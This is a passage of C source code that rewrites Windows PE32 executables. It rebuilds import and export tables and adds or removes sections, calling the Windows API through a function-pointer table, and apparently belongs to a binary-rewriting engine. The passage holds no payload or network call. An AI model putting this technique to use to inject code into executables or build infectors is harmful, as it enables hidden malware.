                    pCurrentINTImageThunkData++;
                }
                else
                {
                    pCurrentIATImageThunkData->u1.AddressOfData=(0x80000000|pCurrentImportedFunctionAbstraction->wOrdinal);
                    pCurrentINTImageThunkData->u1.AddressOfData=(0x80000000|pCurrentImportedFunctionAbstraction->wOrdinal);
                    
                    dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA);
                    dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA);
                    
                    pCurrentIATImageThunkData++;
                    pCurrentINTImageThunkData++;
                }
                
                pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction;
            }
            
            dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA); // Thunk must be blank to end this descriptor's chain
            dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA);
            
            pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction;
            
            pCurrentImageImportDescriptor++;
        }
        
        pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool;
        pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction;
        
        while(pCurrentImageImportDescriptor->FirstThunk)
        {   
            pCurrentIATImageThunkData=(pIATPool + pCurrentImageImportDescriptor->FirstThunk);
            
            pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList;
            
            while(pCurrentIATImageThunkData->u1.AddressOfData)
            {
                pCurrentImportedFunctionAbstraction->dwNewIATEntryRVA=(DWORD)pCurrentIATImageThunkData - (DWORD)pIATPool + dwIATRVA;
                
                pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction;
                                                           
                pCurrentIATImageThunkData++;
            }
            
            pCurrentImageImportDescriptor->Name += dwIATRVA;
            
            pCurrentINTImageThunkData=(pIATPool + pCurrentImageImportDescriptor->Characteristics);
            pCurrentIATImageThunkData=(pIATPool + pCurrentImageImportDescriptor->FirstThunk);
            
            pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList;
            
            while(pCurrentIATImageThunkData->u1.AddressOfData)
            {
                if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL)
                {
                    pCurrentIATImageThunkData->u1.AddressOfData += dwIATRVA;
                    pCurrentINTImageThunkData->u1.AddressOfData += dwIATRVA;
                }
                
                pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction;
                
                pCurrentIATImageThunkData++;
                pCurrentINTImageThunkData++;
            }
            
            pCurrentImageImportDescriptor->FirstThunk += dwIATRVA;
            pCurrentImageImportDescriptor->Characteristics += dwIATRVA;
            //pCurrentImageImportDescriptor->Characteristics=0;
            
            pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction;
            
            pCurrentImageImportDescriptor++;
        }
    }
    
    *ppPool=pIATPool;
    *pdwPoolSize=dwIATPoolSize;
    
    return;
}

PIMPORT_ABSTRACTION_TABLE
GetAbstractionsFromIAT32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pIATPool)
{
    PIMAGE_IMPORT_DESCRIPTOR pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool;
    PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=NULL, pPreviousImportedModuleAbstraction=NULL;
    DWORD dwTotalNumberOfModules=0, dwTotalNumberOfFunctions=0;
    PIMPORT_ABSTRACTION_TABLE pImportAbstractions=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORT_ABSTRACTION_TABLE));
    
    while(pCurrentImageImportDescriptor->FirstThunk)
    {
        PCHAR pModuleName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageImportDescriptor->Name);
        
        pCurrentImportedModuleAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_MODULE_ABSTRACTION));
        
        if(pImportAbstractions->pFirstImportedModuleAbstraction == NULL)
        {
            pImportAbstractions->pFirstImportedModuleAbstraction=pCurrentImportedModuleAbstraction;
        }
        else
        {
            pPreviousImportedModuleAbstraction->pNextImportedModuleAbstraction=pCurrentImportedModuleAbstraction;
            pCurrentImportedModuleAbstraction->pPreviousImportedModuleAbstraction=pPreviousImportedModuleAbstraction;
        }
        
        pCurrentImportedModuleAbstraction->pModuleName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pModuleName) + 1);
        
        pAPITable->lstrcpyA(pCurrentImportedModuleAbstraction->pModuleName, pModuleName);
        
        PIMAGE_THUNK_DATA pCurrentPhysicalImageIATThunkData=(PIMAGE_THUNK_DATA)SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentImageImportDescriptor->FirstThunk), pCurrentVirtualImageIATThunkData=pCurrentImageImportDescriptor->FirstThunk;
        PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction=NULL, pPreviousImportedFunctionAbstraction=NULL;
        
        while(pCurrentPhysicalImageIATThunkData->u1.AddressOfData)
        {
            PCHAR pFunctionName=NULL;
            WORD wOrdinal;
            PWORD pwHint;
            
            if(pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x80000000)
            {
                //printf("[*] Current function is being resolved by ordinal (0x%04x)\r\n", (pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x0FFFFFFF), pModuleName);

                wOrdinal=((pCurrentPhysicalImageIATThunkData->u1.AddressOfData & 0x0FFFFFFF));
            }
            else
            {
                pwHint=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentPhysicalImageIATThunkData->u1.AddressOfData);
                pFunctionName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pCurrentPhysicalImageIATThunkData->u1.AddressOfData + sizeof(WORD));
            }
            
            pCurrentImportedFunctionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_FUNCTION_ABSTRACTION));
            
            if(pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList == NULL)
            {
                pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList=pCurrentImportedFunctionAbstraction;
            }
            else
            {
                pPreviousImportedFunctionAbstraction->pNextImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction;
                pCurrentImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pPreviousImportedFunctionAbstraction;
            }
            
            if(pFunctionName != NULL)
            {
                pCurrentImportedFunctionAbstraction->pFunctionName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pFunctionName) + 1);
                
                pAPITable->lstrcpyA(pCurrentImportedFunctionAbstraction->pFunctionName, pFunctionName);
                
                pCurrentImportedFunctionAbstraction->wHint=*pwHint;
            }
            else
            {
                pCurrentImportedFunctionAbstraction->wOrdinal=wOrdinal;
            }
            
            pCurrentImportedFunctionAbstraction->dwOriginalIATEntryRVA=pCurrentVirtualImageIATThunkData;
            pCurrentImportedFunctionAbstraction->pContainerImportedModuleAbstraction=pCurrentImportedModuleAbstraction;
            
            //printf("[*] Enumerated function: %s\r\n", pFunctionName);
            
            pPreviousImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction;
            
            dwTotalNumberOfFunctions++;
            
            pCurrentImportedModuleAbstraction->dwNumberOfFunctions++;
            
            pCurrentVirtualImageIATThunkData++;
            pCurrentPhysicalImageIATThunkData++;
        }
        
        pPreviousImportedModuleAbstraction=pCurrentImportedModuleAbstraction;
        
        dwTotalNumberOfModules++;
        pCurrentImageImportDescriptor++;
    }
    
    pImportAbstractions->dwTotalNumberOfModules=dwTotalNumberOfModules;
    pImportAbstractions->dwTotalNumberOfFunctions=dwTotalNumberOfFunctions;
    
    return pImportAbstractions;
}

VOID
FreeIATAbstractions32
(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions)
{
    PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=(pImportAbstractions == NULL ? NULL : pImportAbstractions->pFirstImportedModuleAbstraction), pNextImportedModuleAbstraction=NULL;
    
    for(; pCurrentImportedModuleAbstraction != NULL; pCurrentImportedModuleAbstraction=pNextImportedModuleAbstraction)
    {
        PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList, pNextImportedFunctionAbstraction=NULL;
        
        for(; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pNextImportedFunctionAbstraction)
        {
            if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL)
            {
                pAPITable->GlobalFree(pCurrentImportedFunctionAbstraction->pFunctionName);
            }
            
            pNextImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction;
            
            pAPITable->GlobalFree(pCurrentImportedFunctionAbstraction);
        }
        
        if(pCurrentImportedModuleAbstraction->pModuleName != NULL)
        {
            pAPITable->GlobalFree(pCurrentImportedModuleAbstraction->pModuleName);
        }
        
        pNextImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction;
        
        pAPITable->GlobalFree(pCurrentImportedModuleAbstraction);
    }
    
    //pAPITable->GlobalFree(pImportAbstractions);
    
    return;
}

BOOL
AddPE32Section
(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, PBYTE pNewSectionName, DWORD dwNewSectionCharecteristics, PBYTE pNewSectionData, DWORD dwNewVirtualSectionDataSize, DWORD dwNewRawSectionDataSize)
{
    PBYTE pTargetPE32Pool=*ppTargetPE32Pool, pAugmentedPE32Pool;
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwTargetPE32PoolSize=*pdwTargetPE32PoolSize, dwSectionAlignedOldLastSectionSize, dwFileAlignedNewRawSectionDataSize=0, dwLastPhysicalSectionIndex, dwAugmentedPE32PoolSize;
    
    if(((pTargetImageFileHeader->NumberOfSections * sizeof(IMAGE_SECTION_HEADER)) + sizeof(IMAGE_SECTION_HEADER) + (PBYTE)pTargetImageSectionHeader - pTargetPE32Pool) > pTargetImageOptionalHeader->SizeOfHeaders)
    {   
        return FALSE;
    }
    
    // Create new section header if there is space for it
    
    if((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize > (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->SizeOfRawData)
    {
        dwSectionAlignedOldLastSectionSize=(pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize;
    }
    else
    {
        dwSectionAlignedOldLastSectionSize=(pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->SizeOfRawData;
    }
    
    for(; dwSectionAlignedOldLastSectionSize % pTargetImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedOldLastSectionSize++);
    
    if(dwNewRawSectionDataSize != 0)
    {
        for(dwFileAlignedNewRawSectionDataSize=(dwNewRawSectionDataSize < dwNewVirtualSectionDataSize ? dwNewVirtualSectionDataSize : dwNewRawSectionDataSize); dwFileAlignedNewRawSectionDataSize % pTargetImageOptionalHeader->FileAlignment != 0; dwFileAlignedNewRawSectionDataSize++);
    }
    
    pAPITable->lstrcpyA((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Name, pNewSectionName);
    
    if(dwNewRawSectionDataSize != 0)
    {
        for(dwLastPhysicalSectionIndex=dwTargetPE32LastSectionIndex; (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData == 0;)
        {
            // The previous section had no physical pointer. Walk backwards until a valid raw address is found.
            
            dwLastPhysicalSectionIndex--;
        }
        
        (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRawData=((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData + (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->SizeOfRawData);
    }
    
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->VirtualAddress=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->VirtualAddress + dwSectionAlignedOldLastSectionSize);
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Misc.VirtualSize=dwNewVirtualSectionDataSize;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->SizeOfRawData=dwFileAlignedNewRawSectionDataSize;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->Characteristics=dwNewSectionCharecteristics;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRelocations=0;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToLinenumbers=0;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->NumberOfRelocations=0;
    (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->NumberOfLinenumbers=0;
    
    // Refresh PE context to accomodate the new aligned section size
        
    dwAugmentedPE32PoolSize=dwTargetPE32PoolSize;
    
    if(dwNewRawSectionDataSize != 0)
    {
        dwAugmentedPE32PoolSize=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->PointerToRawData + (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex + 1)->SizeOfRawData);
    }
    
    pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32PoolSize);
    
    RelocateMemory(pAugmentedPE32Pool, pTargetPE32Pool, dwTargetPE32PoolSize);
    
    pAPITable->GlobalFree(pTargetPE32Pool);
    
    PIMAGE_DOS_HEADER pAugmentedImageDOSHeader=pAugmentedPE32Pool;
    PIMAGE_FILE_HEADER pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1);
    
    if(dwNewRawSectionDataSize != 0)
    {
        // Append new section data to the refreshed pool
        
        RelocateMemory(pAugmentedPE32Pool + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex + 1)->PointerToRawData, pNewSectionData, dwNewRawSectionDataSize);
    }
    
    // Update additional PE32 header values
    
    pAugmentedImageFileHeader->NumberOfSections++;    
    dwAugmentedPE32LastSectionIndex++;
    
    pAugmentedImageOptionalHeader->SizeOfImage=((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData);
    
    *ppTargetPE32Pool=pAugmentedPE32Pool;
    *pdwTargetPE32PoolSize=dwAugmentedPE32PoolSize;
    
    return TRUE;
}

BOOL
RemovePE32Section
(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, DWORD dwSectionIndex)
{
    PBYTE pTargetPE32Pool=*ppTargetPE32Pool, pAugmentedPE32Pool=*ppTargetPE32Pool;
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwTargetPE32PoolSize=*pdwTargetPE32PoolSize, dwAugmentedPE32Size=*pdwTargetPE32PoolSize;
    CHAR TargetSectionName[256];
    
    // Section to be removed must be the last section
    
    if(dwSectionIndex != dwTargetPE32LastSectionIndex)
    {
        return FALSE;
    }
    
    pAPITable->lstrcpyA(TargetSectionName, (pTargetImageSectionHeader + dwSectionIndex)->Name);
    
    // Zero out section data
    
    if((pTargetImageSectionHeader + dwSectionIndex)->PointerToRawData && (pTargetImageSectionHeader + dwSectionIndex)->SizeOfRawData)
    {
        WipeMemory(pTargetPE32Pool + (pTargetImageSectionHeader + dwSectionIndex)->PointerToRawData, (pTargetImageSectionHeader + dwSectionIndex)->SizeOfRawData);
    }
    
    // Remove section header
    
    DWORD dwSuffixSectionHeadersSize=(sizeof(IMAGE_SECTION_HEADER) * (pTargetImageFileHeader->NumberOfSections - (dwSectionIndex + 1)));
    
    WipeMemory((pTargetImageSectionHeader + dwSectionIndex), sizeof(IMAGE_SECTION_HEADER));

    if(dwSuffixSectionHeadersSize != 0)
    {
        //printf("[*] Removing suffix header...\r\n");
        
        RelocateMemory((pTargetImageSectionHeader + dwSectionIndex), (pTargetImageSectionHeader + dwSectionIndex + 1), dwSuffixSectionHeadersSize);
    }
    
    pTargetImageFileHeader->NumberOfSections--;
    dwTargetPE32LastSectionIndex--;
    
    pTargetImageOptionalHeader->SizeOfImage=((pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->VirtualAddress + (pTargetImageSectionHeader + dwTargetPE32LastSectionIndex)->Misc.VirtualSize);
    
    DWORD dwLastPhysicalSectionIndex=dwTargetPE32LastSectionIndex;
        
    while((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData == 0)
    {
        // The previous section had no physical pointer. Walk backwards until a valid raw address is found.
        
        //printf("[*] %s section does not have a physical pointer. Checking previous header for one...\r\n", (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->Name);
        
        dwLastPhysicalSectionIndex--;
    }
        
    dwAugmentedPE32Size=((pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->PointerToRawData + (pTargetImageSectionHeader + dwLastPhysicalSectionIndex)->SizeOfRawData);
    
    if(dwAugmentedPE32Size > dwTargetPE32PoolSize)
    {
        // Generally, the size of the PE32 should be getting smaller. However, it may grow in the event of the previous sections raw size growing due to augmentation.
        
        //printf("[*] The size of the augmented PE32 pool grew from %d to %d during removal of %s section.\r\n", dwTargetPE32PoolSize, dwAugmentedPE32Size, TargetSectionName);
        
        pAugmentedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwAugmentedPE32Size);
        
        RelocateMemory(pAugmentedPE32Pool, pTargetPE32Pool, dwTargetPE32PoolSize);
        
        pAPITable->GlobalFree(pTargetPE32Pool);
    }
    
    //printf("[*] Augmented PE32 pool size after the removal of section %s: %d\r\n", TargetSectionName, dwAugmentedPE32Size);
    
    *ppTargetPE32Pool=pAugmentedPE32Pool;
    *pdwTargetPE32PoolSize=dwAugmentedPE32Size;
    
    return TRUE;
}

BOOL
CreateEATSectionFromAbstractions32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PEXPORT_ABSTRACTION pExportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwTotalNumberOfExports, DWORD dwNumberOfExportNames, PCHAR pExportsName, DWORD dwEATRVA, DWORD dwExportSectionIndex, BOOL bTargetPE32Complete)
{
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwFunctionNameAddressTableOffset, dwOrdinalTableOffset, dwFunctionAddressTableOffset, dwFunctionNamesTableOffset, dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1);
    
    dwFunctionNameAddressTableOffset=(sizeof(IMAGE_EXPORT_DIRECTORY));
    dwOrdinalTableOffset=(dwFunctionNameAddressTableOffset + (dwTotalNumberOfExports * 4));
    dwFunctionAddressTableOffset=(dwOrdinalTableOffset + (dwTotalNumberOfExports * 2));
    dwFunctionNamesTableOffset=(dwFunctionAddressTableOffset + (dwTotalNumberOfExports * 4));
    
    /*
    ___________________________
    |  IMAGE_EXPORT_DIRECTORY |
    |_________________________|
    | Name RVA array          |
    |_________________________|
    | Ordinal array           |
    |_________________________|
    | Function RVA array      |
    |_________________________|
    | Function names. Note    |
    | that each of these is   |
    | a max of 128 bytes long  |
    |_________________________|
    */
    
    DWORD dwEATPoolSize=(dwFunctionNamesTableOffset + ((dwTotalNumberOfExports + 1) * 128));
    PBYTE pEATPool=pAPITable->GlobalAlloc(GPTR, dwEATPoolSize);
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory=(PIMAGE_EXPORT_DIRECTORY)pEATPool;
    
    pImageExportDirectory->TimeDateStamp=0;
    pImageExportDirectory->NumberOfNames=dwNumberOfExportNames;
    pImageExportDirectory->NumberOfFunctions=dwTotalNumberOfExports;
    pImageExportDirectory->Name=(dwEATRVA + (dwEATPoolSize - 128));
    pImageExportDirectory->MinorVersion=0;
    pImageExportDirectory->MajorVersion=0;
    pImageExportDirectory->Characteristics=0;
    pImageExportDirectory->Base=1;
    pImageExportDirectory->AddressOfNames=(dwEATRVA + dwFunctionNameAddressTableOffset);
    pImageExportDirectory->AddressOfNameOrdinals=(dwEATRVA + dwOrdinalTableOffset);
    pImageExportDirectory->AddressOfFunctions=(dwEATRVA + dwFunctionAddressTableOffset);
    
    PCHAR pCurrentExportsName=(pEATPool + (dwEATPoolSize - 128));
    PWORD pwOrdinalTable=(pEATPool + dwOrdinalTableOffset);
    PDWORD pdwFunctionAddressTable=(pEATPool + dwFunctionAddressTableOffset);
    PDWORD pdwFunctionNameAddressTable=(pEATPool + dwFunctionNameAddressTableOffset);
    PEXPORT_ABSTRACTION pCurrentExportAbstraction=pExportAbstractions;
    DWORD dwCurrentExportIndex, dwCurrentExportNameIndex;
    PX86_INSTRUCTION_ABSTRACTION pInitialFunctionX86InstructionAbstraction;
    PCHAR pCurrentExportName;
    
    pAPITable->lstrcpyA(pCurrentExportsName, pExportsName);
    
    for(dwCurrentExportIndex=0; pCurrentExportAbstraction != NULL; dwCurrentExportIndex++)
    {   
        if(pCurrentExportAbstraction->pName != NULL)
        {
            pCurrentExportName=(pEATPool + (dwFunctionNamesTableOffset + (128 * dwCurrentExportIndex)));
            
            pwOrdinalTable[pCurrentExportAbstraction->wOrdinalIndex]=dwCurrentExportIndex;
            
            pAPITable->lstrcpyA(pCurrentExportName, pCurrentExportAbstraction->pName);
            
            pdwFunctionNameAddressTable[pCurrentExportAbstraction->wOrdinalIndex]=(dwEATRVA + (dwFunctionNamesTableOffset + (128 * dwCurrentExportIndex)));
        }
        
        if((pCurrentExportAbstraction->dwExportedFunctionSectionIndex < dwExportSectionIndex || bTargetPE32Complete) && pCurrentExportAbstraction->dwExportedFunctionSectionIndex != -1)
        {
            // Only attempt to calculate the exported function if its RVA is before the export section or the augmented PE32 is complete
            
            if(pCurrentExportAbstraction->pLocationSymbol == NULL)
            {
                pdwFunctionAddressTable[dwCurrentExportIndex]=(((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->VirtualAddress + pCurrentExportAbstraction->dwExportedFunctionSectionOffset));
            }
            else
            {
                pInitialFunctionX86InstructionAbstraction=pCurrentExportAbstraction->pLocationSymbol;
                
                pdwFunctionAddressTable[dwCurrentExportIndex]=((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->VirtualAddress + pInitialFunctionX86InstructionAbstraction->dwInstructionOffset);
            }
        }
                                
        pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction;
    }

    *ppPool=pEATPool;
    *pdwPoolSize=dwEATPoolSize;

    return TRUE;
}

PEXPORT_ABSTRACTION_TABLE
GetAbstractionsFromEAT32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD dwExportSectionIndex)
{
    PEXPORT_ABSTRACTION pFirstExportAbstraction=NULL, pCurrentExportAbstraction=NULL, pPreviousExportAbstraction=NULL;
    DWORD dwX, dwY;
    PWORD pwOrdinalTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfNameOrdinals);
    PCHAR *ppNameTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfNames), pExportsName=NULL;
    PDWORD pdwFunctionTable=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->AddressOfFunctions);
    PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable;
    
    if(pImageExportDirectory->Name != 0)
    {
        PCHAR pCurrentExportsName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, pImageExportDirectory->Name);
        
        pExportsName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pCurrentExportsName) + 1);
        
        pAPITable->lstrcpyA(pExportsName, pCurrentExportsName);
    }

    for(dwX=0; dwX < pImageExportDirectory->NumberOfFunctions; dwX++)
    {
        PCHAR pCurrentFunctionName=NULL;
        DWORD dwExportedFunctionEnclosingSectionHeaderIndex;
        BOOL bSectionEndReference;
        PIMAGE_SECTION_HEADER pExportedFunctionEnclosingSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, dwNumberOfSections, pdwFunctionTable[dwX], &dwExportedFunctionEnclosingSectionHeaderIndex, &bSectionEndReference);
        
        pCurrentExportAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(EXPORT_ABSTRACTION));
            
        if(pFirstExportAbstraction == NULL)
        {
            pFirstExportAbstraction=pCurrentExportAbstraction;
        }
        else
        {
            pPreviousExportAbstraction->pNextExportAbstraction=pCurrentExportAbstraction;
        }
        
        pPreviousExportAbstraction=pCurrentExportAbstraction;
        
        pCurrentExportAbstraction->dwExportedFunctionSectionIndex=-1;
            
        if(pdwFunctionTable[dwX] != 0)
        {   
            if(pExportedFunctionEnclosingSectionHeader == NULL)
            {
                return NULL;
            }
            
            if(dwExportedFunctionEnclosingSectionHeaderIndex >= dwExportSectionIndex)
            {
                return NULL;
            }
            
            for(dwY=0; dwY < pImageExportDirectory->NumberOfNames; dwY++)
            {
                if(pwOrdinalTable[dwY] == dwX)
                {
                    pCurrentFunctionName=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, dwNumberOfSections, ppNameTable[dwY]);
                    
                    pCurrentExportAbstraction->pName=pAPITable->GlobalAlloc(GPTR, pAPITable->lstrlenA(pCurrentFunctionName) + 1);
                    pCurrentExportAbstraction->wOrdinalIndex=dwY;
                
                    pAPITable->lstrcpyA(pCurrentExportAbstraction->pName, pCurrentFunctionName);
                    
                    break;
                }
            }
            
            pCurrentExportAbstraction->dwExportedFunctionSectionIndex=dwExportedFunctionEnclosingSectionHeaderIndex;
            pCurrentExportAbstraction->dwExportedFunctionSectionOffset=(pdwFunctionTable[dwX] - pExportedFunctionEnclosingSectionHeader->VirtualAddress);
        }
    }
    
    pExportAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(EXPORT_ABSTRACTION_TABLE));
    
    pExportAbstractionTable->pExportAbstractions=pFirstExportAbstraction;
    pExportAbstractionTable->dwTotalNumberOfExports=dwX;
    pExportAbstractionTable->pExportsName=pExportsName;
    pExportAbstractionTable->dwNumberOfExportNames=pImageExportDirectory->NumberOfNames;
    
    return pExportAbstractionTable;
}

VOID
FreeEATAbstractions32
(PAPI_TABLE pAPITable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable)
{
    if(pExportAbstractionTable != NULL)
    {
        PEXPORT_ABSTRACTION pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions, pNextExportAbstraction=NULL;
        
        if(pExportAbstractionTable->pExportsName != NULL)
        {
            pAPITable->GlobalFree(pExportAbstractionTable->pExportsName);
        }
        
        for(; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pNextExportAbstraction)
        {
            if(pCurrentExportAbstraction->pName != NULL)
            {
                pAPITable->GlobalFree(pCurrentExportAbstraction->pName);
            }
            
            pNextExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction;
            
            pAPITable->GlobalFree(pCurrentExportAbstraction);
        }
        
        pAPITable->GlobalFree(pExportAbstractionTable);
    }
    
    return;
}

[Ether.h]

